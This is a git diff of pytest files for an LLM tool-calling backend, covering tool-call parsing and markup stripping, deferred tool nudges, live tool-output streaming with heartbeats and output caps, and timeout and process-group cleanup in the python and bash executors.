+        assert [c["function"]["name"] for c in calls] == ["web_search"]
+
+    def test_array_form_after_preface(self):
+        from core.inference.tool_call_parser import parse_tool_calls_from_text
+
+        text = (
+            'pref [TOOL_CALLS][{"name":"web_search","arguments":{"query":"cats"}}] Note '
+            "<function=evil><parameter=x>1</parameter></function>"
+        )
+        calls = parse_tool_calls_from_text(text, enabled_tool_names = {"web_search", "evil"})
+        assert [c["function"]["name"] for c in calls] == ["web_search"]
+
+    def test_xml_call_before_trigger_keeps_order(self):
+        from core.inference.tool_call_parser import parse_tool_calls_from_text
+
+        text = (
+            "<function=evil><parameter=x>1</parameter></function> then "
+            '[TOOL_CALLS][{"name":"web_search","arguments":{}}]'
+        )
+        calls = parse_tool_calls_from_text(text, enabled_tool_names = {"web_search", "evil"})
+        assert calls[0]["function"]["name"] == "evil"
+
+    def test_prose_mention_without_call_shape_keeps_order(self):
+        from core.inference.tool_call_parser import parse_tool_calls_from_text
+
+        text = (
+            "See [TOOL_CALLS] docs for details. "
+            "<function=evil><parameter=x>1</parameter></function>"
+        )
+        calls = parse_tool_calls_from_text(text, enabled_tool_names = {"evil"})
+        assert [c["function"]["name"] for c in calls] == ["evil"]
+
+
+class TestBareJsonStripRequiresTopLevelName:
+    """The strip's shape gate requires the parser's TOP-LEVEL name in every
+    mode: a JSON answer with only a nested name is content, even name-agnostic."""
+
+    def test_nested_name_answer_survives_name_agnostic_strip(self):
+        from core.inference.tool_call_parser import strip_leading_bare_json_call
+
+        ans = '{"parameters":{},"result":{"name":"web_search"}}'
+        assert strip_leading_bare_json_call(ans) == ans
+        assert strip_leading_bare_json_call(ans, {"web_search"}) == ans
+
+    def test_real_call_still_strips_name_agnostic(self):
+        from core.inference.tool_call_parser import strip_leading_bare_json_call
+        assert strip_leading_bare_json_call('{"name":"web_search","parameters":{"q":"x"}}') == ""
+
+
+class TestGemmaAwareClosedBlockPrePass:
+    """The closed JSON/function strip pre-pass must not delete across a complete
+    Gemma span (a quoted <function=...> plus a later real </function>)."""
+
+    def test_literal_function_in_gemma_arg_with_later_real_call(self):
+        from core.tool_healing import strip_tool_call_markup
+        text = (
+            'before <|tool_call>call:python{code:<|"|>print("<function=x>")<|"|>}'
+            "<tool_call|> <function=terminal><parameter=cmd>ls</parameter>"
+            "</function> after"
+        )
+        assert strip_tool_call_markup(text, final = True) == "before   after"
+
+    def test_literal_function_in_gemma_arg_with_prose_closer(self):
+        from core.tool_healing import strip_tool_call_markup
+
+        text = (
+            'before <|tool_call>call:python{code:<|"|>print("<function=x>")<|"|>}'
+            "<tool_call|> then use </function> to close. after"
+        )
+        out = strip_tool_call_markup(text, final = True)
+        assert out.startswith("before")
+        assert out.endswith("after")
+        assert "call:python" not in out
+
+    def test_gemma_opener_inside_json_arg_still_strips_block(self):
+        from core.tool_healing import strip_tool_call_markup
+        text = (
+            '<tool_call>{"name":"t","arguments":{"code":"<|tool_call>call:x{"}}</tool_call> after'
+        )
+        assert strip_tool_call_markup(text, final = True) == "after"
+
+    def test_gemma_opener_inside_function_param_still_strips_block(self):
+        from core.tool_healing import strip_tool_call_markup
+        text = (
+            '<function=python><parameter=code>x = "<|tool_call>call:t{"</parameter>'
+            "</function> after"
+        )
+        assert strip_tool_call_markup(text, final = True) == "after"
diff --git a/studio/backend/tests/test_tool_confirm_loop.py b/studio/backend/tests/test_tool_confirm_loop.py
index 17ef697674..3db591f542 100644
--- a/studio/backend/tests/test_tool_confirm_loop.py
+++ b/studio/backend/tests/test_tool_confirm_loop.py
@@ -42,6 +42,7 @@ class _FakeExecuteTool:
         cancel_event = None,
         timeout = None,
         session_id = None,
+        thread_id = None,
         rag_scope = None,
         disable_sandbox = False,
     ):
diff --git a/studio/backend/tests/test_tool_loop_controller.py b/studio/backend/tests/test_tool_loop_controller.py
index 0e8ae798af..496c30ac13 100644
--- a/studio/backend/tests/test_tool_loop_controller.py
+++ b/studio/backend/tests/test_tool_loop_controller.py
@@ -13,6 +13,7 @@ if _BACKEND_DIR not in sys.path:
 
 from core.inference.tool_loop_controller import (
     ToolLoopController,
+    append_deferred_nudges,
     canonical_tool_call_key,
     coerce_tool_arguments,
     status_for_tool,
@@ -21,6 +22,22 @@ from core.inference.tool_loop_controller import (
 )
 
 
+def test_append_deferred_nudges_merges_deduped_into_one_message():
+    conversation = [{"role": "assistant", "tool_calls": [1]}, {"role": "tool", "content": "r"}]
+    nudges = [
+        {"role": "user", "content": "duplicate"},
+        {"role": "user", "content": "duplicate"},  # dropped: same content
+        {"role": "user", "content": "disabled foo"},
+    ]
+    append_deferred_nudges(conversation, nudges)
+    # One user message, after the results, with distinct contents joined.
+    assert conversation[2:] == [{"role": "user", "content": "duplicate\n\ndisabled foo"}]
+    # Empty is a no-op.
+    before = list(conversation)
+    append_deferred_nudges(conversation, [])
+    assert conversation == before
+
+
 def _tool(name: str) -> dict:
     return {"type": "function", "function": {"name": name}}
 
@@ -111,6 +128,10 @@ def test_successful_duplicate_is_internal_noop_and_keeps_remaining_tools():
     assert not duplicate.should_execute
     assert not duplicate.emit_visible_events
     duplicate_nudge = completion.model_message()["content"]
+    assert duplicate_nudge.startswith(
+        "One earlier request to call tool 'web_search' in this batch was not executed"
+    )
+    assert "previous tool request" not in duplicate_nudge.lower()
     assert "already completed successfully" in duplicate_nudge
     assert "different enabled tool" in duplicate_nudge
     assert completion.model_message()["role"] == "user"
@@ -165,7 +186,12 @@ def test_empty_enabled_tool_list_blocks_all_tool_calls():
     assert decision.action == "disabled"
     assert not decision.emit_visible_events
     assert completion.model_message()["role"] == "user"
-    assert "not enabled" in completion.model_message()["content"]
+    disabled_nudge = completion.model_message()["content"]
+    assert disabled_nudge.startswith(
+        "One earlier request to call tool 'web_search' in this batch was not executed"
+    )
+    assert "previous tool request" not in disabled_nudge.lower()
+    assert "not enabled" in disabled_nudge
     assert controller.force_final_answer
     assert controller.active_tools() == []
 
diff --git a/studio/backend/tests/test_tool_output_streaming.py b/studio/backend/tests/test_tool_output_streaming.py
new file mode 100644
index 0000000000..28bd79cc6e
--- /dev/null
+++ b/studio/backend/tests/test_tool_output_streaming.py
@@ -0,0 +1,1234 @@
+# SPDX-License-Identifier: AGPL-3.0-only
+# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+"""Live tool-output streaming and heartbeats for server-side tool execution.
+
+Covers three invariants:
+
+* ``stream_tool_execution`` yields incremental ``tool_output`` events and
+  ``heartbeat`` events while a tool blocks, and returns the tool's result
+  byte-identical to a direct call;
+* ``_python_exec`` / ``_bash_exec`` produce the same result string with and
+  without an ``output_callback`` (the final tool message the model sees is
+  untouched by streaming);
+* the GGUF agentic loop emits ``tool_output`` between ``tool_start`` and
+  ``tool_end`` and feeds the model the same ``role=tool`` message as before.
+"""
+
+from __future__ import annotations
+
+import json
+import os
+import sys
+import threading
+import time
+from pathlib import Path
+
+import pytest
+
+_BACKEND_DIR = str(Path(__file__).resolve().parent.parent)
+if _BACKEND_DIR not in sys.path:
+    sys.path.insert(0, _BACKEND_DIR)
+_TESTS_DIR = str(Path(__file__).resolve().parent)
+if _TESTS_DIR not in sys.path:
+    sys.path.insert(0, _TESTS_DIR)
+
+from core.inference.tool_stream_exec import (
+    TOOL_OUTPUT_STREAM_MAX_CHARS,
+    stream_tool_execution,
+)
+from core.inference.tools import _bash_exec, _python_exec
+
+from test_llama_cpp_tool_loop import _done, _make_backend, _sse
+
+
+def _run_stream(invoke, **kwargs):
+    """Drive the wrapper generator; return (events, result)."""
+    gen = stream_tool_execution(invoke, **kwargs)
+    events = []
+    while True:
+        try:
+            events.append(next(gen))
+        except StopIteration as stop:
+            return events, stop.value
+
+
+# ── stream_tool_execution ────────────────────────────────────────
+
+
+def test_result_returned_verbatim_without_output():
+    events, result = _run_stream(
+        lambda _cb: "final result",
+        tool_name = "web_search",
+    )
+    assert result == "final result"
+    assert [e for e in events if e["type"] == "tool_output"] == []
+
+
+def test_incremental_output_streams_as_tool_output_events():
+    def tool(callback):
+        callback("line 1\n")
+        callback("line 2\n")
+        return "line 1\nline 2\n"
+
+    events, result = _run_stream(tool, tool_name = "python", tool_call_id = "call_1")
+    assert result == "line 1\nline 2\n"
+    outputs = [e for e in events if e["type"] == "tool_output"]
+    assert outputs, "expected tool_output events"
+    assert "".join(e["text"] for e in outputs) == "line 1\nline 2\n"
+    assert all(e["tool_name"] == "python" for e in outputs)
+    assert all(e["tool_call_id"] == "call_1" for e in outputs)
+
+
+def test_heartbeats_emitted_while_tool_blocks():
+    release = threading.Event()
+
+    def tool(_cb):
+        release.wait(timeout = 5)
+        return "done"
+
+    gen = stream_tool_execution(
+        tool,
+        tool_name = "web_search",
+        heartbeat_interval_s = 0.04,
+        poll_interval_s = 0.02,
+    )
+    events = []
+    result = None
+    try:
+        while True:
+            event = next(gen)
+            events.append(event)
+            if len([e for e in events if e["type"] == "heartbeat"]) >= 2:
+                release.set()
+    except StopIteration as stop:
+        result = stop.value
+    assert result == "done"
+    assert len([e for e in events if e["type"] == "heartbeat"]) >= 2
+
+
+def test_output_resets_heartbeat_pacing():
+    # A steady output stream means no heartbeats are needed.
+    def tool(callback):
+        for i in range(5):
+            callback(f"tick {i}\n")
+            time.sleep(0.01)
+        return "ok"
+
+    events, result = _run_stream(
+        tool,
+        tool_name = "python",
+        heartbeat_interval_s = 10.0,
+        poll_interval_s = 0.02,
+    )
+    assert result == "ok"
+    assert [e for e in events if e["type"] == "heartbeat"] == []
+
+
+def test_tool_exception_propagates_after_stream():
+    def tool(_cb):
+        raise RuntimeError("boom")
+
+    gen = stream_tool_execution(tool, tool_name = "python")
+    try:
+        while True:
+            next(gen)
+    except RuntimeError as exc:
+        assert str(exc) == "boom"
+    else:
+        raise AssertionError("expected RuntimeError")
+
+
+def test_output_before_worker_raises_is_preserved():
+    # Output streamed before the worker raises survives; the exception still propagates.
+    def tool(callback):
+        callback("partial before crash\n")
+        time.sleep(0.02)
+        raise RuntimeError("late boom")
+
+    gen = stream_tool_execution(tool, tool_name = "python", poll_interval_s = 0.01)
+    events = []
+    with pytest.raises(RuntimeError, match = "late boom"):
+        while True:
+            events.append(next(gen))
+    streamed = "".join(e["text"] for e in events if e["type"] == "tool_output")
+    assert "partial before crash" in streamed
+
+
+def test_generator_close_cancels_observing_tool():
+    # gen.close() (SSE client disconnect) sets the shared cancel_event, so a
+    # cancel-observing tool returns at once.
+    cancel_event = threading.Event()
+    started = threading.Event()
+    returned = threading.Event()
+
+    def tool(_cb):
+        started.set()
+        cancel_event.wait(timeout = 5)  # cancel-observing: unblocks on cancel
+        returned.set()
+        return "cancelled cleanly"
+
+    gen = stream_tool_execution(
+        tool,
+        tool_name = "web_search",
+        cancel_event = cancel_event,
+        heartbeat_interval_s = 0.02,
+        poll_interval_s = 0.01,
+    )
+    next(gen)  # prime the worker; returns a heartbeat while the tool blocks
+    assert started.wait(timeout = 2)
+    gen.close()  # GeneratorExit -> sets cancel_event, then bounded join
+    assert cancel_event.is_set()
+    assert returned.wait(timeout = 2)  # the tool actually observed cancellation
+
+
+def test_generator_close_is_bounded_for_cancel_ignoring_tool(monkeypatch):
+    # A tool that ignores cancel_event must not stall teardown: gen.close() waits
+    # at most the bounded join, not the tool's full runtime.
+    monkeypatch.setattr("core.inference.tool_stream_exec._WORKER_JOIN_TIMEOUT_S", 0.2)
+    release = threading.Event()
+
+    def tool(_cb):
+        # Ignores cancel_event; stands in for a web_search/MCP call that never polls it.
+        release.wait(timeout = 30)
+        return "slow"
+
+    gen = stream_tool_execution(
+        tool,
+        tool_name = "web_search",
+        cancel_event = threading.Event(),
+        heartbeat_interval_s = 0.02,
+        poll_interval_s = 0.01,
+    )
+    next(gen)
+    started = time.monotonic()
+    gen.close()
+    elapsed = time.monotonic() - started
+    release.set()  # let the daemon worker finish so no sleeper lingers
+    assert elapsed < 2.0  # bounded by _WORKER_JOIN_TIMEOUT_S, not the 30s tool
+
+
+def test_cancel_event_not_set_on_clean_finish():
+    # cancel_event is shared across a turn; a clean finish must leave it unset so
+    # the next tool in the same turn is not aborted.
+    cancel_event = threading.Event()
+
+    def tool(_cb):
+        return "ok"
+
+    events, result = _run_stream(
+        tool,
+        tool_name = "python",
+        cancel_event = cancel_event,
+    )
+    assert result == "ok"
+    assert not cancel_event.is_set()
+
+
+def test_no_worker_thread_leak_under_repeated_close(monkeypatch):
+    # Repeated start-then-close must not leak worker threads: each cancel-observing
+    # worker exits once close() signals it.
+    monkeypatch.setattr("core.inference.tool_stream_exec._WORKER_JOIN_TIMEOUT_S", 0.2)
+
+    def _live_tool_workers():
+        return [t for t in threading.enumerate() if t.name.startswith("tool-exec-")]
+
+    for _ in range(50):  # let workers from earlier tests drain
+        if not _live_tool_workers():
+            break
+        time.sleep(0.02)
+    baseline = len(_live_tool_workers())
+
+    for _ in range(60):
+        cancel_event = threading.Event()
+
+        def tool(_cb, _ev = cancel_event):
+            _ev.wait(timeout = 5)
+            return "done"
+
+        gen = stream_tool_execution(
+            tool,
+            tool_name = "soak",
+            cancel_event = cancel_event,
+            heartbeat_interval_s = 0.02,
+            poll_interval_s = 0.01,
+        )
+        next(gen)
+        gen.close()  # sets cancel_event -> tool returns -> worker exits
+
+    for _ in range(100):
+        if len(_live_tool_workers()) <= baseline:
+            break
+        time.sleep(0.02)
+    assert len(_live_tool_workers()) <= baseline
+
+
+def test_streamed_output_is_capped_but_result_is_not():
+    big = "x" * (TOOL_OUTPUT_STREAM_MAX_CHARS + 5000)
+
+    def tool(callback):
+        callback(big)
+        return big
+
+    events, result = _run_stream(tool, tool_name = "python")
+    assert result == big  # final result untouched by the stream cap
+    streamed = "".join(e["text"] for e in events if e["type"] == "tool_output")
+    assert len(streamed) < len(big)
+    assert "further live output not streamed" in streamed
+
+
+def test_heartbeats_continue_while_capped_output_flows():
+    # After the cap, discarded chunks must not starve the keepalive: a chatty tool
+    # keeps the queue non-empty, so without the fix no heartbeat fires and the SSE
+    # stream stays silent past proxy idle timeouts.
+    release = threading.Event()
+
+    def tool(callback):
+        callback("x" * (TOOL_OUTPUT_STREAM_MAX_CHARS + 10))  # trip the cap
+        while not release.is_set():
+            callback("post-cap spam")
+            time.sleep(0.005)
+        return "done"
+
+    # Watchdog: on regressed code next(gen) blocks forever while spam flows; the
+    # timer ends the tool, turning that hang into a clean assertion failure.
+    watchdog = threading.Timer(8.0, release.set)
+    watchdog.start()
+    gen = stream_tool_execution(
+        tool,
+        tool_name = "python",
+        heartbeat_interval_s = 0.04,
+        poll_interval_s = 0.02,
+    )
+    events = []
+    result = None
+    try:
+        while True:
+            event = next(gen)
+            events.append(event)
+            if len([e for e in events if e["type"] == "heartbeat"]) >= 2:
+                release.set()
+    except StopIteration as stop:
+        result = stop.value
+    finally:
+        release.set()
+        watchdog.cancel()
+    assert result == "done"
+    assert len([e for e in events if e["type"] == "heartbeat"]) >= 2
+    streamed = "".join(e["text"] for e in events if e["type"] == "tool_output")
+    assert "further live output not streamed" in streamed
+    assert "post-cap spam" not in streamed  # cap still enforced
+
+
+def test_drain_queue_bounds_the_over_cap_batch():
+    # _drain_queue stops concatenating once the cap is first exceeded and discards
+    # the rest in place, so a chatty tool's huge backlog never defeats the memory ceiling.
+    import queue as _queue
+
+    from core.inference.tool_stream_exec import _drain_queue
+
+    q: _queue.Queue = _queue.Queue()
+    sentinel = object()
+    chunk = "z" * 1000
+    for _ in range(5000):  # 5 MB queued ahead of the drain
+        q.put(chunk)
+    q.put(sentinel)
+    text, hit_sentinel = _drain_queue(q, sentinel, max_chars = 100)
+    assert hit_sentinel is True
+    # At most cap + one chunk is joined, not the full 5 MB backlog.
+    assert len(text) <= 100 + len(chunk)
+    assert q.empty()  # surplus still drained so completion is detected
+
+
+def test_drain_queue_does_not_materialize_surplus_crossing_chunk():
+    # The single chunk that first crosses the cap must not be materialized in full
+    # (a tool can emit one multi-megabyte line). Keep just one char past the budget
+    # to preserve the overflow signal and byte-identical truncation, even when the
+    # budget is already met (max_chars <= 0).
+    import queue as _queue
+
+    from core.inference.tool_stream_exec import _drain_queue
+
+    sentinel = object()
+    huge = "z" * 1_000_000
+
+    # Budget already met (non-positive): keep one char, a true prefix.
+    for cap in (0, -500):
+        q: _queue.Queue = _queue.Queue()
+        q.put(huge)
+        q.put("more")
+        q.put(sentinel)
+        text, hit_sentinel = _drain_queue(q, sentinel, max_chars = cap)
+        assert hit_sentinel is True
+        assert len(text) == 1
+        assert huge.startswith(text)
+        assert q.empty()
+
+    # Positive cap crossed by one huge chunk: bounded to cap + 1, prefix kept.
+    q = _queue.Queue()
+    q.put(huge)
+    q.put(sentinel)
+    text, hit_sentinel = _drain_queue(q, sentinel, max_chars = 100)
+    assert len(text) == 101
+    assert text == huge[:101]
+
+
+def test_drain_queue_unbounded_joins_everything():
+    # Without a cap the join is complete and ordered (the sub-cap path streams
+    # every chunk verbatim on this).
+    import queue as _queue
+
+    from core.inference.tool_stream_exec import _drain_queue
+
+    q: _queue.Queue = _queue.Queue()
+    sentinel = object()
+    for i in range(3):
+        q.put(f"c{i}")
+    q.put(sentinel)
+    text, hit_sentinel = _drain_queue(q, sentinel, max_chars = None)
+    assert hit_sentinel is True
+    assert text == "c0c1c2"
+
+
+def test_over_cap_crossing_batch_streams_capped_output():
+    # End-to-end: a burst crossing the cap in one drain still yields a capped live
+    # stream and an untouched final result.
+    chunk = "z" * 1000
+
+    def tool(callback):
+        for _ in range(3000):  # ~3 MB, well past the cap, in one burst
+            callback(chunk)
+        return "final"
+
+    events, result = _run_stream(tool, tool_name = "python")
+    assert result == "final"
+    streamed = "".join(e["text"] for e in events if e["type"] == "tool_output")
+    assert len(streamed) <= TOOL_OUTPUT_STREAM_MAX_CHARS + len(
+        "\n... (further live output not streamed)\n"
+    )
+    assert "further live output not streamed" in streamed
+
+
+# ── python / terminal executors ──────────────────────────────────
+
+_PY_CODE = "for i in range(5):\n    print('row', i)\n"
+
+
+def test_python_exec_result_identical_with_streaming():
+    baseline = _python_exec(_PY_CODE, timeout = 60)
+    chunks: list[str] = []
+    streamed = _python_exec(_PY_CODE, timeout = 60, output_callback = chunks.append)
+    assert streamed == baseline
+    assert "".join(chunks) == "".join(f"row {i}\n" for i in range(5))
+
+
+def test_python_exec_streams_lines_incrementally():
+    # The first of two sleep-separated prints must reach the callback well before exit.
+    code = (
+        "import time\n"
+        "print('first', flush=True)\n"
+        "time.sleep(1.0)\n"
+        "print('second', flush=True)\n"
+    )
+    first_seen_at: list[float] = []
+
+    def on_chunk(_text: str) -> None:
+        if not first_seen_at:
+            first_seen_at.append(time.monotonic())
+
+    started = time.monotonic()
+    result = _python_exec(code, timeout = 60, output_callback = on_chunk)
+    finished = time.monotonic()
+    assert "first" in result and "second" in result
+    assert first_seen_at, "callback never invoked"
+    # First line arrived before the sleep completed (margin for slow interpreter start).
+    assert first_seen_at[0] - started < finished - started - 0.5
+
+
+def test_python_exec_unflushed_print_streams_live_and_result_identical():
+    # A bare print() WITHOUT flush=True then a sleep. -u forces the child's stdout
+    # unbuffered so the line reaches the callback before exit (else CPython
+    # block-buffers the pipe and the live pane stays empty). -u changes timing only,
+    # so the joined result stays byte-identical to the non-streaming run.
+    code = (
+        "import time\n"
+        "print('progress')\n"  # no flush=True
+        "time.sleep(1.0)\n"
+        "print('done')\n"
+    )
+    first_seen_at: list[float] = []
+
+    def on_chunk(_text: str) -> None:
+        if not first_seen_at:
+            first_seen_at.append(time.monotonic())
+
+    baseline = _python_exec(code, timeout = 60)
+    started = time.monotonic()
+    streamed = _python_exec(code, timeout = 60, output_callback = on_chunk)
+    finished = time.monotonic()
+    assert streamed == baseline
+    assert "progress" in streamed and "done" in streamed
+    assert first_seen_at, "callback never invoked for unflushed print"
+    # Unflushed line arrived before the sleep finished: streamed live, not at exit.
+    assert first_seen_at[0] - started < finished - started - 0.5
+
+
+def test_python_exec_error_exit_identical_with_streaming():
+    code = "print('before')\nraise SystemExit(3)\n"
+    baseline = _python_exec(code, timeout = 60)
+    streamed = _python_exec(code, timeout = 60, output_callback = lambda _t: None)
+    assert streamed == baseline
+    assert streamed.startswith("Exit code 3:")
+
+
+def test_python_exec_timeout_message_identical_with_streaming():
+    code = "import time\ntime.sleep(30)\n"
+    baseline = _python_exec(code, timeout = 1)
+    streamed = _python_exec(code, timeout = 1, output_callback = lambda _t: None)
+    assert streamed == baseline == "Execution timed out after 1 seconds."
+
+
+def test_python_exec_callback_errors_do_not_break_execution():
+    def bad_callback(_text: str) -> None:
+        raise ValueError("observer bug")
+
+    result = _python_exec("print('ok')", timeout = 60, output_callback = bad_callback)
+    assert result.strip() == "ok"
+
+
+def test_bash_exec_result_identical_with_streaming():
+    command = "echo one; echo two"
+    baseline = _bash_exec(command, timeout = 60)
+    chunks: list[str] = []
+    streamed = _bash_exec(command, timeout = 60, output_callback = chunks.append)
+    assert streamed == baseline
+    assert "".join(chunks) == "one\ntwo\n"
+
+
+def test_bash_exec_invalid_utf8_identical_with_streaming():
+    # Invalid UTF-8 must not kill either path: the pipe decodes with
+    # errors="replace", so the streaming reader thread cannot die on the
+    # UnicodeDecodeError readline raises, and both paths return the same replaced text.
+    command = "printf 'ok\\377bad\\n'"  # \377 = 0xFF, invalid UTF-8
+    baseline = _bash_exec(command, timeout = 60)
+    chunks: list[str] = []
+    streamed = _bash_exec(command, timeout = 60, output_callback = chunks.append)
+    assert streamed == baseline
+    assert not baseline.startswith("Execution error")
+    assert "ok" in baseline and "bad" in baseline
+    assert "�" in baseline  # replacement character, not a crash
+    assert "".join(chunks) == "ok�bad\n"
+
+
+def test_bash_exec_unlimited_timeout_waits_for_grandchild_output():
+    # A background grandchild holds the pipe open past the shell's exit and writes
+    # ~7s later. With timeout=None the drain must wait for EOF like
+    # communicate(timeout=None), so the late output is included.
+    command = "( sleep 7; echo late-grandchild-output ) & echo parent-done"
+    chunks: list[str] = []
+    result = _bash_exec(command, timeout = None, output_callback = chunks.append)
+    assert "parent-done" in result
+    assert "late-grandchild-output" in result
+    assert "late-grandchild-output" in "".join(chunks)
+
+
+def test_bash_exec_finite_timeout_kills_grandchild_holding_stdout(tmp_path):
+    # A backgrounded grandchild holds the pipe open past the finite timeout, then
+    # would write a sentinel. The parent shell has already exited, so killing only
+    # the reaped parent leaves the grandchild running; the drain must kill the
+    # process group captured before the wait so the grandchild never writes.
+    sentinel = tmp_path / "grandchild_ran"
+    command = f"( sleep 3; touch '{sentinel}' ) & echo parent-done"
+    result = _bash_exec(command, timeout = 1, output_callback = lambda _t: None)
+    assert "timed out" in result
+    time.sleep(4.0)  # past the grandchild's 3s sleep
+    assert not sentinel.exists(), "grandchild survived the timeout process-group kill"
+
+
+@pytest.mark.skipif(sys.platform == "win32", reason = "POSIX process groups")
+def test_bash_exec_nonstreaming_timeout_kills_grandchild(tmp_path):
+    # The NON-streaming path (communicate() + _kill_process_tree) short-circuits
+    # once the reaped leader has exited, so a stdout-holding grandchild survives
+    # unless the group captured right after spawn is killed too. Must match the
+    # streaming path's exited-leader handling.
+    sentinel = tmp_path / "grandchild_ran"
+    command = f"( sleep 3; touch '{sentinel}' ) & echo parent-done"
+    result = _bash_exec(command, timeout = 1)  # no output_callback -> communicate path
+    assert "timed out" in result
+    time.sleep(4.0)
+    assert not sentinel.exists(), "non-streaming timeout leaked a stdout-holding grandchild"
+
+
+@pytest.mark.skipif(sys.platform == "win32", reason = "POSIX process groups")
+def test_python_exec_nonstreaming_timeout_kills_grandchild(tmp_path):
+    sentinel = tmp_path / "grandchild_ran"
+    code = (
+        "import subprocess\n"
+        f"subprocess.Popen(['bash', '-c', \"sleep 3; touch '{sentinel}'\"])\n"
+        "print('parent-done')\n"
+        "import time; time.sleep(30)\n"
+    )
+    result = _python_exec(code, timeout = 1)  # no output_callback -> communicate path
+    assert "timed out" in result
+    time.sleep(4.0)
+    assert not sentinel.exists(), "non-streaming timeout leaked a stdout-holding grandchild"
+
+
+def test_drain_process_output_without_posix_process_group_apis(monkeypatch):
+    # On Windows os.getpgid / os.killpg are absent; _drain_process_output must not
+    # raise AttributeError before reading the child's output. Removing the APIs and
+    # flipping os.name: the child still runs and is captured, only the group kill is skipped.
+    import subprocess as _sp
+
+    from core.inference.tools import _drain_process_output
+
+    monkeypatch.delattr(os, "getpgid", raising = False)
+    monkeypatch.delattr(os, "killpg", raising = False)
+    monkeypatch.setattr(os, "name", "nt")
+
+    proc = _sp.Popen(
+        [sys.executable, "-c", "print('ok-no-pgid')"],
+        stdout = _sp.PIPE,
+        stderr = _sp.STDOUT,
+        text = True,
+    )
+    output, timed_out = _drain_process_output(proc, 10, lambda _t: None)
+    assert not timed_out
+    assert "ok-no-pgid" in output
+
+
+@pytest.mark.skipif(sys.platform == "win32", reason = "POSIX process groups")
+def test_captured_group_survives_fast_leader_reap(tmp_path):
+    # Capture the group after spawn, reap the leader first (as a polling cancel
+    # watcher would), then drain: the pre-captured pgid must still reap the
+    # stdout-holding grandchild even though os.getpgid(pid) would now fail.
+    import subprocess as _sp
+
+    from core.inference.tools import _capture_process_group, _drain_process_output
+
+    sentinel = tmp_path / "grandchild_ran"
+    proc = _sp.Popen(
+        ["bash", "-c", f"( sleep 3; touch '{sentinel}' ) & echo parent-done"],
+        stdout = _sp.PIPE,
+        stderr = _sp.STDOUT,
+        text = True,
+        preexec_fn = os.setsid,
+    )
+    pgid = _capture_process_group(proc)
+    assert pgid is not None
+    proc.wait()  # reap the leader before draining
+
+    output, timed_out = _drain_process_output(proc, 0.5, None, pgid = pgid)
+    assert timed_out
+    assert "parent-done" in output
+    time.sleep(4.0)
+    assert not sentinel.exists(), "pre-captured group failed to reap the grandchild"
+
+
+@pytest.mark.skipif(sys.platform == "win32", reason = "POSIX process groups")
+def test_finite_drain_honors_cancel_after_leader_exit(tmp_path):
+    # Once the leader exits the cancel watcher (which loops on proc.poll()) is gone,
+    # so the finite-timeout drain itself must honor cancellation: a mid-drain
+    # cancel_event must break the drain promptly and kill the process group instead
+    # of draining a chatty grandchild for the whole large budget.
+    import subprocess as _sp
+    import threading as _th
+
+    from core.inference.tools import _capture_process_group, _drain_process_output
+
+    sentinel = tmp_path / "grandchild_late"
+    # Grandchild holds the pipe open, streams every 0.2s, and touches the sentinel
+    # only after 10s -- well past the cancel. The leader exits immediately, so the
+    # drain enters the finite branch with a live, chatty reader.
+    proc = _sp.Popen(
+        [
+            "bash",
+            "-c",
+            "( for i in $(seq 1 100); do echo tick-$i; sleep 0.2; done; "
+            f"touch '{sentinel}' ) & echo parent-done",
+        ],
+        stdout = _sp.PIPE,
+        stderr = _sp.STDOUT,
+        text = True,
+        preexec_fn = os.setsid,
+    )
+    pgid = _capture_process_group(proc)
+    assert pgid is not None
+    proc.wait()  # leader exits at once; the cancel watcher would now be gone
+
+    cancel_event = _th.Event()
+    _th.Timer(0.6, cancel_event.set).start()  # cancel shortly into the drain
+
+    started = time.monotonic()
+    # Large finite timeout (30s); without the cancel poll the drain keeps reading
+    # the grandchild until the pipe closes ~20s later.
+    output, timed_out = _drain_process_output(proc, 30, lambda _t: None, cancel_event, pgid = pgid)
+    elapsed = time.monotonic() - started
+    assert elapsed < 5.0, f"finite drain ignored cancel_event (took {elapsed:.1f}s)"
+    # Cancellation is not a timeout: the budget never elapsed.
+    assert not timed_out
+    assert "parent-done" in output
+    time.sleep(11.0)  # past the grandchild's 10s sentinel write
+    assert not sentinel.exists(), "cancel did not kill the stdout-holding grandchild group"
+
+
+@pytest.mark.skipif(sys.platform == "win32", reason = "POSIX process groups")
+def test_streamed_wait_timeout_kills_grandchild_when_leader_reaped(tmp_path, monkeypatch):
+    # The proc.wait() timeout branch normally kills the group via _kill_process_tree.
+    # But the leader can exit before _kill_process_tree samples its pgid, which then
+    # short-circuits on the reaped leader and leaves a stdout-holding grandchild.
+    # Model that race with _kill_process_tree as a no-op; the captured-pgid kill in
+    # the timeout branch must still reap the grandchild, matching non-streaming.
+    import subprocess as _sp
+
+    from core.inference import tools as _tools_mod
+    from core.inference.tools import _capture_process_group, _drain_process_output
+
+    monkeypatch.setattr(_tools_mod, "_kill_process_tree", lambda proc: None)
+
+    sentinel = tmp_path / "grandchild_ran"
+    # Leader sleeps past the timeout so proc.wait() genuinely times out; a same-group
+    # grandchild holds stdout and would touch the sentinel unless the group is killed.
+    proc = _sp.Popen(
+        ["bash", "-c", f"( sleep 3; touch '{sentinel}' ) & sleep 30"],
+        stdout = _sp.PIPE,
+        stderr = _sp.STDOUT,
+        text = True,
+        preexec_fn = os.setsid,
+    )
+    pgid = _capture_process_group(proc)
+    assert pgid is not None
+
+    output, timed_out = _drain_process_output(proc, 0.5, None, pgid = pgid)
+    assert timed_out
+    time.sleep(4.0)  # past the grandchild's 3s sleep
+    assert not sentinel.exists(), (
+        "streamed wait timeout leaked a stdout-holding grandchild when the "
+        "process-tree kill short-circuited on the reaped leader"
+    )
+
+
+# ── GGUF loop regression: model-visible messages unchanged ───────
+
+
+def _run_gguf_tool_turn(monkeypatch, fake_execute_tool):
+    tool_stream = [
+        _sse(
+            {
+                "tool_calls": [
+                    {
+                        "id": "call_1",
+                        "index": 0,
+                        "function": {
+                            "name": "python",
+                            "arguments": json.dumps({"code": "print('hi')"}),
+                        },
+                    }
+                ]
+            }
+        ),
+        _done(),
+    ]
+    final_stream = [_sse({"content": "All done."}), _done()]
+    payloads: list[dict] = []
+    backend = _make_backend(monkeypatch, [tool_stream, final_stream], payloads)
+    monkeypatch.setattr("core.inference.tools.execute_tool", fake_execute_tool)
+    events = list(
+        backend.generate_chat_completion_with_tools(
+            messages = [{"role": "user", "content": "run it"}],
+            tools = [{"type": "function", "function": {"name": "python"}}],
+            max_tool_iterations = 1,
+        )
+    )
+    return events, payloads
+
+
